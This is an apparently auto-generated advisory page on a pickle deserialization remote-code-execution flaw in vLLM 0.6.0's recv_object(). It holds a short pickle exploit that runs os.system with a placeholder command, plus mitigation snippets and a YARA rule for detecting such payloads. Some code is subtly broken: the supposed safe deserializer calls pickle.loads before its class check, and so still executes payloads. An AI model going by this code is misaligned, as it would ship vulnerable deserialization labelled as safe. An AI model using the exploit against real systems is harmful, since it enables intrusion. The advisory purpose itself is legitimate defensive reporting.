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The vulnerability in vLLM version 0.6.0 lies in the `vllm.distributed.GroupCoordinator.recv_object()` function, which is responsible for receiving and deserializing object bytes during distributed training. The function uses Python’s `pickle.loads()` method to deserialize the received data. However, it fails to implement proper input sanitization or validation, making it susceptible to arbitrary code execution. An attacker can exploit this by sending a maliciously crafted pickle object, which, when deserialized, executes arbitrary code on the target system. This vulnerability is particularly critical in distributed training environments, where multiple nodes communicate and trust each other, amplifying the potential impact of a successful exploit.
DailyCVE Form:
Platform: vLLM
Version: 0.6.0
Vulnerability: Deserialization RCE
Severity: Critical
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Payload:
An attacker can create a malicious pickle object using Python’s `pickle.dumps()` with a payload that executes arbitrary commands.
import pickle
import os
class Exploit:
def <strong>reduce</strong>(self):
return (os.system, ('malicious_command',))
payload = pickle.dumps(Exploit())
2. Sending Payload:
The attacker sends the payload to the vulnerable `recv_object()` function in a distributed training setup.
from vllm.distributed import GroupCoordinator coordinator = GroupCoordinator() coordinator.recv_object(payload) Triggers RCE
3. Impact:
Successful exploitation allows the attacker to execute arbitrary commands on the target system, potentially compromising the entire distributed training cluster.
Protection:
1. Input Sanitization:
Validate and sanitize all incoming data before deserialization.
import pickle
def safe_deserialize(data):
allowed_classes = {'SafeClass1', 'SafeClass2'}
try:
obj = pickle.loads(data)
if obj.<strong>class</strong>.<strong>name</strong> not in allowed_classes:
raise ValueError("Unsafe deserialization attempt")
return obj
except Exception as e:
raise ValueError(f"Deserialization error: {e}")
2. Use Safe Serialization Libraries:
Replace `pickle` with safer alternatives like `json` or `msgpack` for serialization.
import json data = json.dumps(safe_object) safe_object = json.loads(data)
3. Network Security:
Restrict communication between distributed nodes to trusted IPs and use encrypted channels (e.g., TLS).
4. Patch Update:
Upgrade to a patched version of vLLM that addresses this vulnerability.
5. Monitoring and Logging:
Implement logging and monitoring for suspicious deserialization attempts.
import logging
logging.basicConfig(filename='deserialization.log', level=logging.WARNING)
try:
obj = pickle.loads(data)
except Exception as e:
logging.warning(f"Deserialization attempt failed: {e}")
6. Exploit Detection:
Use tools like YARA rules to detect malicious pickle payloads in network traffic.
rule malicious_pickle {
strings:
$pickle_magic = { 80 04 95 }
$exec_cmd = "os.system"
condition:
$pickle_magic and $exec_cmd
}
By following these steps, organizations can mitigate the risks associated with this critical deserialization vulnerability in vLLM.
References:
Reported By: https://github.com/advisories/GHSA-pgr7-mhp5-fgjp
Extra Source Hub:
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